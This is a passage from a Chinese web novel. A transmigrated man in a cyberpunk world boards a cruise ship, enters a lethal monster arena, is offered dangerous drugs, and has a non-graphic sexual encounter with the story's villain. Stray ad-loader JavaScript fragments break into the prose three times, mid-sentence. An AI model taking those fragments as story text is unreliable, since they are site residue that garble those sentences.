斐申迷信沈言让他们死里逃生的运气,身边唯一能带人上船的名额给了他,名义是朋友,但圈子里的人肯定都不信。 而作为伴侣,沈言又实在寒酸。 即使把他打扮得很好,一开口那令人讨厌的懦弱劲就一个劲地往外钻。 斐申不想被人嘲笑“怎么带了这么个东西来,口味够差”,只好后退一步,让沈言装高冷。 少说话,摆脸子,别人无论叫他做什么都别去做,当一个合格的仗着他背景嚣张跋扈的酷哥。 只要不说话,沈言的样子就很能唬人。 斐申满意地拍了拍沈言的肩,心虚又满意地炫耀道:“沈言不爱说话,你们也别老逗他,去玩吧,有事我再来找你。” “别啊,一起玩呗。”说话的是个染了紫头发的青年,他一边说一边往沈言身上靠,“帅哥,你叫沈言啊,我是斐申好朋友路嘉,认识认识呗。” 沈言扶住他的胳膊,“没兴趣。” 说完,又对他们笑了笑,金丝眼镜在灯光下略过一闪而逝的光,“晕船,我去休息,失陪。” 这几人一时安静下来,看着沈言走远离开,路嘉兴趣更甚,笑嘻嘻道:“你哪弄来的酷哥?这种我是真喜欢,让我玩玩呗?” 斐申凉凉道:“他是被.干的那个,你能行吗?” 路嘉不死心,“那我们三个一起呗,正好在船上,我带了很多有意思的东西。” 他舔了舔嘴唇,意味深长道:“这七天会过得很有意思。” “别逼我揍你。”斐申不耐烦地摆摆手,“船上这么多人哪个不够你玩的?干嘛盯我的东西。” “那你把他的联系方式给我,我自己跟他说嘛。” 路嘉身边,一个黑色短发,身材高大,看着有些凶狠的男人突然开口,“我也要。” 路嘉不满地瞪他,“哈尔斯你都养了十几条狗,忙都忙不过来,干嘛还要来掺一脚?” 哈尔斯望着沈言离开的方向,勾了勾嘴角,“腻了,这个新。” 斐申危险地警告道:“我说了,他是我的东西。” 斐申之前处的都是女朋友,并且家世不错,和他的情况很匹配,适合做商业合作方面的妻子。 所以他们这些狐朋狗友也不会放肆,更别说用这种交易货物似的态度和人家说话了。 而沈言是男人,对于传统古老又封建的安米亚家族来说,娶他进去,只是自取灭亡。 没想到斐申这么认真。 都是一起玩的,哈尔斯和路嘉不想得罪斐申,便将此事揭过,热热闹闹地去逛游轮。 其他也动了点心思的,也只能将心思往下压。 斐申、哈尔斯和路嘉,是这个小团体里的头头,其他人家境不错,但比起他们还是差很多。 无论什么东西,都得等他们吃够了,其他人才能鬣狗似地,冲上去舔一口。 想到沈言清冷疏远的目光,不留任何余地的拒绝,以及不经意间对斐申透出的亲昵,都有点牙痒痒。 这种人,驯化起来,才有意思呢。 - 八号珍珠。 沈言去了大厅,大厅里摆着自助午餐,东西很丰富,还有点沈言从没见过的合成餐品。 这个世界的新鲜果蔬和肉类都是价格高昂的奢侈品,大多数人食用的都是加工后的产品。 沈言慢慢咀嚼刚拿到的牛排,口中熟悉的肉味和咀嚼时的满足感让沈言有点热泪盈眶。 来这个世界不知道多少天了。 终于吃上一口热乎饭。 想要获得基本的蔬菜肉类供给,至少得是三等公民。 联邦政府将公民分为五个等级,其中最顶级的一等公民全球不超过五百位。 二等公民数量也少,联邦要求,想要评定二级公民,每年缴纳税款,至少需要十五个亿。 除此之外,有特殊军功和其他对国家有高效建设的公民,在提起申请后,也可以成为二等公民。 三等和四等的数量最多,而四等又比三等多三倍。 三等公民有自由出入各大娱乐场所的权利,可以在超市购买新鲜食物。 而四等公民只能买点营养液。 五等公民,是破产的四等公民,连营养液都买不起,生命和人权都岌岌可危,无法受到保障。 最终要么被黑恶势力杀死,要么被政府回收。 沈言已经脱离了危险的五等公民身份,现在是四等公民,离三等还有好一段距离。 沈言叹气,又默默念了一遍那四个字。 珍珠八号。 不会这么巧吧? 不会刚好就是男主在剧情里,和诈骗犯法尔森、杀人狂瓦伦,共同炸毁的那艘吧? 沈言连通他配置的小助手,试探道:“主人让我报名今晚的比赛,请问是直接找您吗?” “正在转人工……” “您好,请您填写报名表并签署死亡保证书,提交后会有工作人员带你去熟悉场地。” 沈言两眼一黑,过了好久才慢悠悠地回道:“谢谢,我知道了。” - 原著中,在船上发生的事,已经不能只用残忍血腥来描述了。 简直是反人类。 阮知闲报名斗兽场,赢下几场漂亮的比赛后身价骤涨,无数人捧着钞票想要和他吃一顿晚饭,阮知闲的临时经纪人,接了出价最高的那人的邀请。 当天晚上,阮知闲杀了那人,拿下他的通行指令,进入船舱下,和实验室的怪物达成协议后,开始了自己的游戏。 之前看台上,因为选手死状凄惨而沸腾欢呼的观众们,被怪物们玩弄、杀死。 不仅如此。 游戏不止是有钱人的游戏。 人人平等,普通的三等、四等公民也要参与。 阮知闲给他们设计了很多游戏,在他的设计之下,所有人性一览无余。 在斗争中活下来的人,非但没有得到活下来的权利,反而被阮知闲引着自尽。 最后还把船炸了。 上船六千三百人,最后活下来的只有一百多个。 一部分是运气好,一部分是发现不对劲,把消息传出去,被专业的搜查队给找了回去。 除此之外的都是倒霉蛋,死在了这场无妄之灾里。 作者从不解释阮知闲的行为逻辑,杀人想杀就杀了,游戏想玩就玩了,一时兴起把自己人弄死都是常事。 接触几天,阮知闲虽然不像作者写的那么神经病,但估计也差不多。 只是藏得好。 沈言填好报名表,交上去,很快就得到了回应。 【小助手】:报名成功,正在为您匹配场次……匹配完成。 【小助手】:您今晚有两场任务需要完成,稍后工作人员会带您去准备室,请稍作等待。 沈言把报名表发给斐申,跟他说报完了。 斐申那边估计在忙,过了一会儿才发了个问号过来。 【斐申】:什么东西,谁让你报了? 沈言毫不客气地把锅甩在他那几个朋友身上后,斐申没再回复。 不知道工作人员什么时候过来的沈言,争分夺秒利用时间,联系布雷兹。 他接受斐申邀请,本来是打算在轮船上找找机会,看看能不能趁机摆脱阮知闲。 没想到剧情惯性这么大,不仅没找到机会,甚至可能小命不保,命丧黄泉。 所以沈言决定走阮知闲的路,让阮知闲无路可走。 从第一步开始破坏阮知闲的计划。 反正都是死,不如试一下。 轮船已经启航了,甲板上支起几个帐篷,海风很大,沈言凑到船边,开启终端摄像头,拍了几张照片,裁掉头,发给两天没有联系的布雷兹。 他今天穿的其实很简单,高领黑色毛衣外面是一件驼色休闲西装,配一根旧银的蛇形项链。 金丝眼镜的一边有垂下来的金链,沈言把眼镜拿在手中,胳膊放松地搭在栏杆上,头发被风吹得扬起,他放松地闭上眼睛。 因为无聊,沈言什么事都干过,去他妹妹公司当模特拍照,凹造型凹得很有心得,那天拍的照片放到网上,立刻爆了三个词条。 于是眼下也游刃有余。 【flame的狗】:如果我死了,请把这几张照片留在你的相册里。 【flame】:? 【falme的狗】:我目前最满意的样子,你觉得呢? 布雷兹那边显示正在输入,反复数次后,终于发过来一段看似没什么联系的话。 【flame】:珍珠八号,三年前的船,各项安保措施可以排在十三区前列,下海三十二次,没有出过事故。 【flame的狗】:谢谢安慰,我会好好活下去的。 【flame的狗】:至少要活到见你的那天:D 【flame】:轻浮。 【flame】:蠢。 【flame】:无聊。 【flame】:你对每一个陌生人都这样吗? 沈言在聊天框里输入“哭哭”。 “参赛者005号您好,我是暗室的工作人员,请跟我来。” 沈言想了想,没把这两个字发出去,直接退出聊天窗口,对工作人员道:“好的,我准备好了。” - 名为“暗室”的斗兽场在一楼尽头,用精致的壁画盖住,只有输入指令才能进入。 在此之外还有两个安保线,以免无关紧要的人闯进去。 “这个就是您今天的战斗地点,晚上九点半开始,地图一共有五张,您要熟悉一下吗?” 呈现在眼前的,是一个人造的大坑,形状和建筑可以看出是刻意仿造古罗马的样式建造的,坑外就是观众区。 沈言坐电梯下坑,环顾四周,坑的墙壁上装着闪烁着红光的装置,像一个个小眼睛。 工作人员解释道:“这里是我们的vip坐席区,那些装置用以意外防护,如果有人打破墙壁,对用户造成威胁,这些装置就会启动,处死威胁者。” 工作人员顿了一下,又继续道:“当然,打碎的可能性很小,对威胁的判定也很精准,您不必太过担心。” 沈言点头。 从出口离开,是一条只容得下两人行走的甬道,只有头顶一盏白灯,设置得不太亮。 “一场比赛的奖金在五十万上下,赢得越多,奖金就越多,如果您能挺进最后一日的决胜局,奖金累计可达五百万。” 五百万,对于四等公民来说,已经是一个可以逆天改命,转到三级的数据了。 工作人员用眼教育光观察沈言的表情,沈言那张立体好看的脸,在灯光下被映得显示出几分不带人气的冷漠。 工作人员知道这不是他应该说的,但他还是忍不住道: “您之前没有了解过比赛吗?您看上去并不激动。” 沈言看向工作人员,“我很怕。” 工作人员一楞,笑道:“您看上去也不像害怕。” 沈言没有继续说话。 工作人员也自知话多,之后也只是和他介绍比赛规则,沈言浅浅应和。 走了五六分钟,才走到底部。 一扇没有任何缝隙的门,拦在二人之前。 沈言:“船,是不是晃得太厉害了?” 工作人员凑过去扫脸,边扫边说,“这艘船的称重能力很好,在船上和陆地差别细微,您感受到的震动,来源是这里。” 机械的卡擦卡擦声响起,收到指令的门缓慢打开,震耳欲聋的咆哮声,在大门刚开了个门缝时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,就突兀地闯进沈言的耳朵里。 里面的空间很大,至少有三个篮球场那么大,分为不同区域,左侧是用乳白色营养液泡着的、高大骇人的异形。 沈言看不清里面的具体情况,只能通过挤在玻璃罩上的尖锐指节,判断出这玩意撕人像他切牛排一样毫不费力。 中间是一些活体,都是一些动物的变种,老虎、狮子、猴子之类的,缝合在一起,再用点和基因相关的手段,让他们放大、疯狂。 沈言还见到了大他三倍的,六个翅膀,翅膀上长满眼睛的鸡。 左边的异形看不清所以不至于让人难受,中间的太丑丑到掉san,沈言扭头看最右边,被金属遮得严严实实的,棺材似的东西。 工作人员适时解释道:“这是特别关卡,连胜三把的人可以考虑挑战他,老板也没和我们说过他的具体情况,唯一可知的是创造者将他设定为男性。” 沈言不说话,点点头,表示自己知道了。 这里关的应该就是和阮知闲交易的怪物瓦伦吧。 想到前几天的梦,沈言心脏不合时宜地突地一跳。 不知怎么回事,一路以来十分平稳的心态,竟有点慌。 如果他真的活下来,按照自己想走的路线走,战战兢兢地披马甲,会不会披到最后,披成梦里那个样子? 上一秒:伪装疯批 下一秒:我下海了大家多多支持 ……别吧。 工作人员没发现沈言的异常。 介绍完毕,工作人员松了口气,又去带沈言体检。 发现他是完全的人类,没有丝毫改造迹象,甚至连植入芯片都没有时,震惊有些磕巴。 “不是,先生,你……”工作人员反复查看体检报告,眼睛在沈言和报告上反复横跳。 沈言:“怎么,不能参赛吗?” 工作人员欲言又止:“倒不是不能,只是……” 沈言笑了下,“没经过改造的纯人类太菜,上场瞬秒,不具备观赏性?” “有这部分原因。”工作人员想了想,又说,“我们这次斗兽很大一部分使用了生物转移科技,如果您能挺过第一轮的淘汰赛,之后几轮您可以连通我们这边给您准备生物,进行作战。” “您的身体非常健康,各项指标也很好,但比起机器来说,还是要……” 工作人员看他的眼神,已经像在看一个死人。 沈言笑道:“没关系,我知道了。” 工作人员叹气,“我的引导工作就到这里了,比赛报名后不能退赛,比赛时间是晚上九点半,在此期间您可以尽情享受游轮上的生活。” “祝您好运。” 沈言被送回甲板上。 这一路看到的东西,都是作者书里描写过的。 作者是细节狂魔,不仅写了阮知闲和怪物战斗的超详细场面,还写了其他人的。 所以对于那些怪物,沈言比其他人要熟悉的多。 但文字的描述和亲眼所见还是差了点。 沈言摸了摸胸口速度微微加快的心脏,勾唇笑了笑。 有点意思。 - 斐申找了沈言找了大半天,脾气上来把小圈子里的人都找茬骂了一遍,正冷着脸用全息头盔飙车,沈言不紧不慢地晃到他身边。 斐申没设置全沉迷模式,能感觉到周围的情况,他加快油门一头创死,在爆炸的火花和结算页面中,摘掉头盔。 沉着脸和沈言对视。 在斐申的严肃的目光下,沈言眼睫轻颤,被吓回了“窝囊”状态,小声道歉:“不、不好意思,我真的不是故意的。” 他把信箱调出来让斐申看,信箱空空,沈言一懵,有点慌了,“那个,信息怎么不见了?刚刚还有的,就是这个人让我报名的,我……” 斐申恨铁不成钢地打断他,戳他脑袋:“你他妈白长了一张聪明人的脸,你究竟怎么活到这么大的?你长脑子了吗?我为什么不能直接叫你,而是让人给你传话?” 沈言涨红了脸,嗫嚅道:“一时没反应过来,那、现在怎么办?” 斐申故作冷酷地把眼神收回来,“还能怎么办?等死吧你。” 沈言不说话,在他旁边坐下,一副天都要塌了的表情。 斐申这时才继续道:“我和主管确认过了,完成第一场比赛后就能退赛,你要是能活过第一场,我再捞你。” 话音刚落,一道好听低沉的男声,从旁边传来。 “您的饮料。” 阮知闲穿着侍者的衣服,他本来就肩宽腿长,是衣服架子,侍者的衣服又经过专门的设计,更显得他身材好得不像话。 他微微俯身,将饮料放在不远处的台子上。 和阮知闲对视的瞬间,沈言立刻像被火灼烧了似的,猛地转头,将视线缩了回去。 斐申看看阮知闲,又看看沈言,意味深长地笑了。 好好好,小情侣吵架是吧。 他拿着饮料起身,对阮知闲说:“你过来,坐这儿。” 船上的侍者,除了为客人提供餐饮服务之外,还可以做陪玩。 阮知闲把托盘放在一边,坐下。 斐申笑嘻嘻地拍了拍沈言的肩膀,“陪我的小宠物玩一会儿,他让你走你再走,明白了吗?” 阮知闲:“是。” 斐申心情大好,端着酒杯离开了。 只留下沉默的沈言,和同样沉默的阮知闲。 沉默一会儿,阮知闲突然道:“哥今天很帅。” 沈言低头摆弄头盔,并不回答他。 “那天之后就一直没见过哥,哥不想我吗?” 沈言把头盔换了个方向,扣它下面标注着“永恒科技”的标签。 阮知闲轻笑:“哥打算一辈子不和我说话的话,眨眨眼,让我走好了。” 说完,便安静地盯着沈言的脸看。 人的眨眼频率通常为每分钟十五到二十次,大约每四秒就要眨一次。 阮知闲等了十几秒。 第十三秒,沈言眨眼,他只眨了一下,就立刻紧张地看向阮知闲。 发现阮知闲只是微笑着看他时,沈言眼眶湿润,手指抱紧头盔,咬着下唇,难过道:“知闲,你别这样对我。” 阮知闲:“我怎么了?” 阮知闲找出手帕,从座位上下来,走到沈言身边,微微俯身,抬起他的下巴,蹭掉他眼角挤出来的泪。 “哥比以前爱哭,因为我吗?。” 沈言推开他,拿手帕自己擦,像是给自己壮胆似的,飞快地看了阮知闲一眼。 “别自作多情了。”沈言深吸一口气,把头盔往头上戴,“谁会喜欢你这种烂人。” 嘴上说着不喜欢,也知道自己可以命令他走,可是他没有。 “陪我玩一会。”沈言声音低了很多,好像多难过似的:“我的时间……可能不多了。” 8. 进度 弯道漂移时轮胎和地面摩擦发出刺耳的嘎吱声,车速拉到最大,景物模糊成飞速后退的线。 任何操作上的失误,都会让车里的玩家体会到极其逼真的,能把脑浆撞出来的车祸感。 最后冲刺转弯,紧跟在阮知闲后面的沈言,没什么表情的过弯。 并在即将超过阮知闲的瞬间,松开刹车。 线条流畅的白色赛车冲出悬崖,坠落的过程中,沈言还有心思感慨—— 连赛道外的海水都做得这么逼真。 厉害。 车子砰地砸进水中,在海水淹没沈言的三秒前,结算画面出现。 阮知闲退出游戏,沈言未完赛。 摘下头盔,沈言看向阮知闲。 一时间,谁都没有说话。 全息模拟游戏解除了人类身体上的限制,掌握规则后,精神力和智力成为游戏胜利的主要因素。 换句话说,能把游戏玩明白的,有九成的概率是个聪明人。 沈言选了最高难度的地图。 全长八千米,跑三圈,记录最快保持者,单圈要跑将近两分钟。 而沈言坠崖前离终点只剩两百米,当时用时五分半。 很接近职业的成绩。 前两次同一地点同样情况,沈言都处理得很好。 所以最后这紧要关头的坠崖,就很意味深长了。 是精神分散操作失误,还是故意放水输给他? 看阮知闲的表现,沈言觉得他应该更倾向于后者。 不然也不会气得连比赛都没比完,直接退出游戏,用这种眼神看他。 沈言在心里默默计算时间,在两人对视的第三秒,狼狈地转头。 每次脸红的小妙招,是回忆小时候的尴尬经历。 比如初中二年级模仿动漫反派的毁灭世界的语音条不小心转到家族群。 比如出去玩把无辜路人当成好哥们手拉手暴走十分钟,后来还是路人说他累了才发现不对劲。 比如…… 绯红的颜色,从沈言的面颊蔓延至耳尖。 眼睫微颤,眼圈发红,像是下一秒就要哭出来。 不断变换颜色,用以渲染气氛的蓝紫色灯光落在沈言身上,给他此刻的脆弱,增加了几分朦胧迷幻的意味。 阮知闲盯着沈言看了会儿,表情不由自主地带上一点转瞬即逝的不解。 他现在竟然没办法定义沈言,也做不到轻易判断他此刻情绪的真假。 作为预见死亡的暗恋者,他此时表情所代表的难过、恐惧以及眷恋,都恰到好处。 斗兽场的报名不设限制,但一般人不知道这方面的消息,应该也没有打听到内幕的可能性。 贵族们为了有趣,将部分合作和斗兽场的赌局联系在一起,所以绝大部分选手都来自于这些贵族,在登船前就知道船上会发生什么。 其余零散报名的,除了他之外,都是被贵族临时看中,硬拖进来。 沈言不在这两个选项之间,硬说的话,竟然和他更类似。 别人骗着报名? 在签生死协议时没有半分怀疑? 很难让人相信。 他不懂他的目的。 一枚轻松被他捏在掌心,不出意外会在三个月内实现使用价值的弃子,是什么时候开始变得失控了呢。 阮知闲的目光,落在沈言的眼睫上。 不知道是不是他的错觉,眼睫似乎湿漉漉的。 他忍不住凑近。 “你……” “嗨,小言,不是头晕吗?怎么在这儿呆着。”路嘉打断阮知闲未能说出口的话,挎住沈言,眨眨眼,惊奇道:“怎么还哭了?” 沈言挺直脊背,眼角余光冷厉尖锐,“先生,跟你没关系吧。” 路嘉大笑,在沈言推他时,伸手去捏沈言的脸,声音黏腻:“宝贝儿,如果你愿意,它也可以和我有关系。” “我愿意为你做上面的那个,你的眼泪掉一颗,我舔一颗,怎么样?” 阮知闲起身,他长得人高马大,站起来时更能看出他身高上的优越,路嘉的注意力被分散,眼睛黏在他身上下不来。 一个是清冷的酷哥,一个是暴力的酷哥,好像都不错。 但沈言是斐申的人,白天斐申还为了这事和他们生气,现在他也一肚子火,但想要因此对沈言发脾气,还是得掂量掂量。 至少现在不行。 更好拿捏的是那个服务生。 路嘉笑嘻嘻地松开沈言,沈言立刻从侧面蹿出去。 路嘉凑到阮知闲身边,伸手去摸他的胸肌,笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘻嘻道:“帅哥,一晚上三万,成交吗?” 船上也有这种交易,三万算是一个不错的价格。 沈言不知什么时候折返,攥住路嘉的手推开,冷冷道:“他不做这个。” 路嘉啧了一声,神情骤然阴鸷,反手一巴掌扇了回去。 结果这一巴掌也没能落在实处,这回变成阮知闲护沈言。 路嘉面目扭曲,痛得大叫,阮知闲松手后,他立刻退开两步,震惊又愤怒地望着他们俩。 阮知闲含笑礼貌道:“我受斐先生所托保护沈哥,不是有意冒犯,抱歉。” “你当我瞎?”路嘉气笑了,“沈言,斐申知道你和船上的服务生不清不楚吗?我现在就要告诉斐申,让他把你丢下去喂鱼!” 他当着两人的面打开终端找到斐申,气急败坏添油加醋,说沈言和阮知闲他们俩使劲亲嘴,恨不得当着这么多人的面脱裤子做。 斐申正在吃饭,他叉了块小蛋糕往嘴里放,不耐烦道:“行了知道了,你去给他俩开个房,记我账上,我一会亲自去收拾他们。” “我可以帮你!” “用不着。” 电话挂断了。 路嘉咬牙,沈言和阮知闲两人站在一起,两人表情很相似,都是那种无所谓的平静。 呵呵,他们恐怕不知道斐申的手段。 想到这里,路嘉心里痛快许多,大发慈悲道:“你们现在求我高抬贵手,我或许还能让斐申放你们一马,莲子老大的儿子,从出生那天就知道怎么让人求死不能。” 他的威胁完全没有效果。 于是含恨开房,把他们关进房间,反锁。 沈言这时才有时间看信箱。 最上面一条是斐申的消息。 【放心做。】 沈言闭目。 大哥。 你很会嗑CP。 可惜,都是直男,亲嘴已是极限。 做不成的。 - 做了。 阮知闲点烟,沈言哑着嗓子管他要了一根。 烟草燃烧,弥漫的白雾,蒸腾向上。 室内寂静无声。 “哥。” 阮知闲熄了烟,侧身靠近沈言,亲吻他的鬓角。 “再来一次吗?” 9. 不是gay 沈言发誓自己不是gay。 顺便也能发誓阮知闲也不是。 三个小时做四次,百分之八十源于双方的试探。 去斗兽场的路上,沈言不断复盘那个房间发生的事。 一开始两人的气氛比较生疏,彼此遵循“撩完就跑的暧昧狂魔”和“伤心欲绝的卑微暗恋者”人设。 聊了几句,阮知闲为了掀他马甲,探究他的目的,步步紧逼。 “哥不是说喜欢我吗?怎么不愿意看我。” “那天回去后我一直后悔,为什么要一时冲动把哥推远?明明斐申也知道你爱我。” “哥,我好嫉妒那件被你抱在怀里的衣服,他能被你抱在怀里被你喜欢,而我却只能站在房间里眼巴巴看着。” 沈言退无可退,被圈在阮知闲的怀里。 阮知闲居高临下地,以一种请求的语气发号施令:“哥,抱我。” 沈言知道他什么意思。 沈言扮演暗恋者,而阮知闲就当好那个被暗恋的人,踏入他的局,看看他究竟有什么想做的。 如果再给沈言一个月的时间准备,他可以随便抓个马甲挡一挡,但现在底子太空,别的还都在筹谋。 于是只能卑微到底,抱住阮知闲。 一个穷途末路的暗恋者,即将走上斗兽场的老实人,在拥抱他求而不得的白月光时,会露出什么表情? 有点复杂。 还好这一part很好糊弄。 沈言抱得很紧,将脸埋在阮知闲的颈窝,阮知闲看不到他的表情,只能隐约感受到皮肤处的潮气。 沈言深深地吸气,眷恋而缠绵地用痴汉的语气说:“知闲……对不起……是我的错……” 阮知闲的身体有些僵硬。 沈晏安心中一喜,暗暗祈祷阮知闲把他推开。 万万没想到,阮知闲不仅没推开他,反而拽着他后脑的发丝,凶狠地亲了上来。 不由分说地分开他的唇齿,舌头强硬地探进去攻城略池,呼吸也被一并掠夺。 沈言猝不及防被他这么粗暴地对待,本想下意识将他推开,但在碰到阮知闲的领口时,突然反应过来—— 一个卑微的、合格的暗恋者,绝对不会因为突兀的亲吻而感觉冒犯。 他应该渴求。 差点上套了。 所以沈言将改推为拽,一手拽着他的领子,一手搂着他肩膀,将这个本就粗暴的、单方面的,带有强制意味的吻,变得更缠绵。 阮知闲率先撤开。 两人分开时牵出一道银丝,转瞬即逝。 气息不稳的双方望着彼此的眼睛,想要找出破绽和漏洞。 明明对彼此的表演心知肚明,却因为演技太好,而没能找到任何东西。 沈言垂眸,缓缓靠近阮知闲,用他肩膀处的布料,蹭掉唇瓣伤口冒出的小血珠。 布料有点硬,蹭过去,是一种温度下降的、密密匝匝的痛。 阮知闲的白色衬衫上留下一抹红,沈言感觉亲得差不多了,扯开话题,假装慌乱道:“抱、抱歉,弄脏了你的衣服。” 如果阮知闲也觉得受不了想要到此为止,那他应该接着这个话往下说。 但他没想到这哥们韧性这么强这么坚持。 他沉沉地看着沈言,只说了四个字: “哥帮我脱。” 沈言心里倒吸一口凉气。 沈言欲拒还迎。 沈言的欲拒还迎,拒占了一大半,但显然阮知闲贼心不死,一副今天必须让他脱层皮的样子,抬手解了自己的两颗衬衫纽扣,露出锁骨。 他继续说:“哥想要的不止接吻吧?” 顿了几秒,阮知闲眼睛一眨不眨地看着沈言,抓着沈言的手,放在他的第三颗纽扣上。 “解。” 沈言深吸一口气,飞快做好心理建设。 红着脸颤颤巍巍地解开纽扣。 亲不过他就发疯,从这种地方找补? 搞笑。 最后一颗纽扣解开的瞬间,阮知闲一把抱起沈言,把他压在床上,俯身继续吻他。 一只手从黑色高领毛衣的下摆钻进去,平整的面料鼓起格格不入的凸起,向上延伸、探索。 来自另一个人的、微凉的温度,从腰腹开始,一路游弋至胸口。 阮知闲勾勾手指,沈言低喘着偏转身体,隔着衣服按住阮知闲的手。 阮知闲笑:“不喜欢吗?” 沈言摇头,摇完又飞快地点了点,最后像是感觉自己的这些动作太蠢,遮住烧得通红的脸,无可奈何,声音发抖: “……知闲,别玩我了。” 阮知闲圈住沈言的,笑着说:“我要收回之前那句话。” 沈言紧紧按住阮知闲的手指头,叫他不要乱动:“什、什么?” “你不适合做演员那句。”阮知闲俯身继续吻他,在吻中黏黏糊糊地说:“哥天赋异禀,是我眼拙。” 沈言上一秒想着自己的确天赋异禀超凡脱俗,下一秒全当没听懂他言语中的深意,眼神躲闪不好意思地说:“真的很奇怪,没有骗你。” 又飞快地扫了阮知闲一眼,老实人试探地伸出一根钝刺,“揪你,你也难受。” 阮知闲笑意加深,眸底却依旧冷静。 又吻下去。 然后就这样那样了。 “先生,请在这里签名。”工作人员将笔递给沈言。 沈言回神。 他们已经到达了斗兽场的准备大厅。 头顶的灯光调成昏暗的暗黄色,整体布置更倾向于完全不经过任何加工的洞穴,场内的参赛人员奇形怪状,都经过赛博时代的改造,身体机械化的程度大约在百分之十五以上。 最夸张的是一个把头放在胸腔里用培养液封着的半机器人,应该是男性,体型庞大耀武扬威,周围一圈都空着,很显然没人愿意在赛前去惹这么个玩意。 沈言收回目光。 他按照工作人员的指示,在巨大的光幕上,签下了自己的名字。 光幕顶端的数字一跳,从“314”变为“315”。 工作人员又给他发了一只黑色手环。 “这是生命体征手环,您在提交申请后,可以主动选择死亡。”工作人员笑:“毕竟比赛中总有这样那样的情况。” 手环很大,沈言往自己手上套完,就立刻缩成适合他的大小。 黑色也变成了绿色。 工作人员有点惊讶:“您什么都没吃吗?” 沈言:“吃什么?” 工作人员左右看了看,准备大厅的面积很大,容纳五百人绰绰有余,每个人之间隔了很空的一段距离。 他带沈言去角落,从怀里掏出一支巴掌大的小针,神神秘秘道:“A社的新药,打完以后保证让你像红魔鬼,要不要?” 沈言接过, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好奇地翻转针管,里面的液体呈现不详的青黑色,隐约还能看见蠕动的小虫子。 工作人员见沈言有兴趣,又拿了好多出来,“不止这个,还有一些内部货,很适合你这种没经过改造的纯人类,你这么健康,效果肯定比实验体还好。” “每一针都能维持整整二十四小时,至少能让您撑过今天。”工作人员滔滔不绝:“如果您买的够多,我们这边还能提供无偿的尸体处理服务,十三区颇有声望的神父亲自为您祝福送葬,让您尽早离开地狱,早升天堂。” 沈言忍不住笑出声。 这个世界的人还挺幽默,给选手介绍打了就会死的药,还把殡葬服务当成推销的一环。 “多少钱?”沈言轻咳一声,“我没有太多钱……” 工作人员眼中闪过微妙的光,热情变得假了很多,“谁带你上的船?” 沈言:“斐申。” 工作人员思考片刻,勉强有点印象,又继续道:“没关系,新药一支只要三万,其余的两万五,您可以贷款购买,担保填斐申的名字。” 沈言:“你有多少药?” 工作人员:“七只。” 沈言:“全买有没有折扣?。” “已经是底价了。”工作人员没想到今天晚上的药全卖了出去,高兴道:“我找一下贷款合约,稍等。” 沈言:“不用,直接扫脸吧。” 斐申之前给沈言的那张卡里面有五十万,沈言买完东西以后还剩很多。 斐申也没往回要,说等下了船再说。 买完药,工作人员开心地离开,沈言原地坐下。 今天晚上是淘汰赛,部分种子选手不用参加,他们会在看台上和他们的主人一起观看比赛。 阮知闲就是观赛的一员。 赞助他的那位VIP,是阮知闲早就联系好的白日科技制药的大股东。 在网上披着黑客马甲的阮知闲,在他和另一个股东争夺股份的时候横插一手,卖给他关键信息,帮他获得胜利,取得报酬并安排自己上船。 大股东不知道阮知闲就是那位神秘黑客,只当黑客也知道将在轮船内发生的许多交易,以为他要分一杯羹,而阮知闲这个服务生就是他的棋子。 阮知闲同样没经过改造,也是纯粹的健康人类,在他赢下第二天的战斗后,押了他赢的大股东大赚特赚,越发贪婪,第三天拉他去做人体改造,想确保第四天他还能这样赚钱。 毫不意外地被阮知闲反杀。 给阮知闲安排的人体改造最终施加在他自己身上,后来在阮知闲主导的赛场上成绩显著。 这就是多披马甲的好处。 想到黑客,自然就能想到那个被困在家里的豌豆公主,沈言点开终端看了眼对话框。 没有新的消息。 沈言关闭、点开、关闭、点开。 重复十几次。 【flame】:? 【flame的狗】:好紧张,要去打架了 沈言把自己手上的药拍给他看。 【flame】:如果你想死得体面一点,最好别用 【flame的狗】:已经买了,一支要五万呢 过了一会,沈言的个人账户多了四十万。 【flame】:退掉 【flame最忠诚的狗】:好的哥没问题哥还想让我干点什么哥 【flame】:活着 10. 打!都打都打! 沈言盯着终端上的那两个字看了一会。 直到眼睛有点发涩,才垂眸揉了揉,恋恋不舍地关闭终端。 没有回复。 他给不了任何保证,他没什么能力,只是一个平平无奇的大帅哥。 只能说尽力吧。 沈言伸了个懒腰,环顾四周。 距离比赛还有半个多小时,场内选手三三两两地站在一起,彼此警惕。 沈言属于来的比较晚的那一波,而入场从两个小时前就开始了。 选手们因为不太清楚场内规则,不敢轻易结盟,大部分人凑在一起也只是交流情报互相打探。 所以,在准备室北方靠墙位置,那由十五六个人组成,默不作声、明显已经达成合作的团队,在这个彼此的敌视的场合,就显得格格不入了。 被一群肌肉壮人和机械改造人拱卫着的,是一个十五六岁的少年。 他长得很白,白到有些病态,身形消瘦纤长,淡淡地站在那儿,在乌烟瘴气的房间里,像是一捧不合时宜的雪。 原文中,作者在阮知闲的视角,对他有过少量描述。 贵族身边的小宠物,被厌弃后送到斗兽场,很会煽动人心,具有不错的决策能力,结盟的这十五人,在他的指挥下,有十二个活过了淘汰赛,占所有生存者的五分之一。 后面没有关于他的描写,像是为了把小反派送到男主跟前的工具人。 作者在设定和细节上有强迫症,有时候逮着墙角的蜘蛛网都得引经据典设置半天,这种只出场一次但看上去很厉害的工具人作者写过不少,读者们都见怪不怪了。 停留在少年身上的目光过久了,他有所察觉,平静地望了过来。 一双无机质的、不带任何情绪的灰蓝色眼睛。 好看。 沈言看了几秒,飞快别开视线,脸红。 老实人的皮目前得再焊一会儿,阮知闲还没死呢。 - 豪华包厢内。 颇有格调的装修,黑色真皮沙发套组中间是低矮的茶晶色茶几,上面放着几瓶还已经开封的酒,高高低低的玻璃瓶,在头顶昏黄色的灯光下,闪烁着琉璃般的光。 房间里有七个人。 两个保镖守在门口,身体机械化程度在百分之三十,改造的双手和大脑让他们能在瞬间融化敌人的脑袋。 沙发上坐着的秃头男人,一边给自己倒酒,一边对他右侧单人沙发上的女人抱怨:“白天在船上输了一千多,本想着让妮妮上去帮我转转运,没想到她根本不争气,只玩了三把就又输了六百。” 